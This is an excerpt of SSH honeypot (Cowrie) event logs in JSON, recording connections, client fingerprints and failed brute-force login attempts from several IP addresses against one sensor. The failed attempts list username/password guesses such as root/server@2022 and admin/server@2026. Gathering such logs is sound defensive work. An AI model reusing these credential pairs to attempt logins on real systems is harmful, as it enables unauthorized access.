":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:34.447864Z","src_ip":"81.91.233.66","session":"617452ca5504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2021","message":"login attempt [user/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:35.465584Z","src_ip":"81.91.233.66","session":"617452ca5504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:35.952256Z","src_ip":"81.91.233.66","session":"617452ca5504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51065,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4c35f4e867","protocol":"ssh","message":"New connection: 81.91.233.66:51065 (10.17.0.5:22) [session: 2f4c35f4e867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:36.207115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:36.210888Z","src_ip":"81.91.233.66","session":"2f4c35f4e867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:36.455050Z","src_ip":"81.91.233.66","session":"2f4c35f4e867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2021","message":"login attempt [user2/server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:37.465225Z","src_ip":"81.91.233.66","session":"2f4c35f4e867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:37.953653Z","src_ip":"81.91.233.66","session":"2f4c35f4e867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1377,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d71bf60983","protocol":"ssh","message":"New connection: 81.91.233.66:1377 (10.17.0.5:22) [session: 44d71bf60983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:38.222786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:38.226629Z","src_ip":"81.91.233.66","session":"44d71bf60983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57364,"dst_ip":"10.17.0.5","dst_port":22,"session":"c882c5bbe975","protocol":"ssh","message":"New connection: 8.210.75.243:57364 (10.17.0.5:22) [session: c882c5bbe975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:38.269785Z"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:38.475996Z","src_ip":"81.91.233.66","session":"44d71bf60983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:38.863722Z","src_ip":"8.210.75.243","session":"511fc49bfb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2022","message":"login attempt [root/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:39.507097Z","src_ip":"81.91.233.66","session":"44d71bf60983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:39.994927Z","src_ip":"81.91.233.66","session":"44d71bf60983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51286,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7297dacdbbc","protocol":"ssh","message":"New connection: 81.91.233.66:51286 (10.17.0.5:22) [session: a7297dacdbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:40.254243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:40.258212Z","src_ip":"81.91.233.66","session":"a7297dacdbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:40.504972Z","src_ip":"81.91.233.66","session":"a7297dacdbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2022","message":"login attempt [admin/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:41.526351Z","src_ip":"81.91.233.66","session":"a7297dacdbbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:42.009358Z","src_ip":"81.91.233.66","session":"a7297dacdbbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51401,"dst_ip":"10.17.0.5","dst_port":22,"session":"256f79303f8c","protocol":"ssh","message":"New connection: 81.91.233.66:51401 (10.17.0.5:22) [session: 256f79303f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:42.272197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:42.276747Z","src_ip":"81.91.233.66","session":"256f79303f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:42.525869Z","src_ip":"81.91.233.66","session":"256f79303f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2022","message":"login attempt [user/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:43.552619Z","src_ip":"81.91.233.66","session":"256f79303f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:44.045355Z","src_ip":"81.91.233.66","session":"256f79303f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51514,"dst_ip":"10.17.0.5","dst_port":22,"session":"027432117cdb","protocol":"ssh","message":"New connection: 81.91.233.66:51514 (10.17.0.5:22) [session: 027432117cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:44.307653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:44.311593Z","src_ip":"81.91.233.66","session":"027432117cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:44.560093Z","src_ip":"81.91.233.66","session":"027432117cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2022","message":"login attempt [user2/server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:45.585611Z","src_ip":"81.91.233.66","session":"027432117cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.065918Z","src_ip":"81.91.233.66","session":"027432117cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":49264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca4f33c2e2c4","protocol":"ssh","message":"New connection: 2.57.122.209:49264 (10.17.0.5:22) [session: ca4f33c2e2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.208046Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2df0c5591bca","protocol":"ssh","message":"New connection: 81.91.233.66:51620 (10.17.0.5:22) [session: 2df0c5591bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.326725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.330963Z","src_ip":"81.91.233.66","session":"2df0c5591bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.577829Z","src_ip":"81.91.233.66","session":"2df0c5591bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":51104,"dst_ip":"10.17.0.5","dst_port":22,"session":"c674cfaa1d65","protocol":"ssh","message":"New connection: 101.36.111.155:51104 (10.17.0.5:22) [session: c674cfaa1d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.616730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.621376Z","src_ip":"101.36.111.155","session":"c674cfaa1d65","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.664327Z","src_ip":"2.57.122.209","session":"ca4f33c2e2c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.667602Z","src_ip":"2.57.122.209","session":"ca4f33c2e2c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:46.834419Z","src_ip":"101.36.111.155","session":"c674cfaa1d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2026","message":"login attempt [root/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:47.599558Z","src_ip":"81.91.233.66","session":"2df0c5591bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"123456","message":"login attempt [user6/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:47.719890Z","src_ip":"101.36.111.155","session":"c674cfaa1d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:48.088626Z","src_ip":"81.91.233.66","session":"2df0c5591bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":51737,"dst_ip":"10.17.0.5","dst_port":22,"session":"48e46acfdc08","protocol":"ssh","message":"New connection: 81.91.233.66:51737 (10.17.0.5:22) [session: 48e46acfdc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:48.354441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:48.357857Z","src_ip":"81.91.233.66","session":"48e46acfdc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:48.607182Z","src_ip":"81.91.233.66","session":"48e46acfdc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:48.935195Z","src_ip":"101.36.111.155","session":"c674cfaa1d65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2026","message":"login attempt [admin/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:49.639004Z","src_ip":"81.91.233.66","session":"48e46acfdc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword","message":"login attempt [root/P4ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:29:49.799088Z","src_ip":"2.57.122.209","session":"ca4f33c2e2c4","protocol":"ssh"}
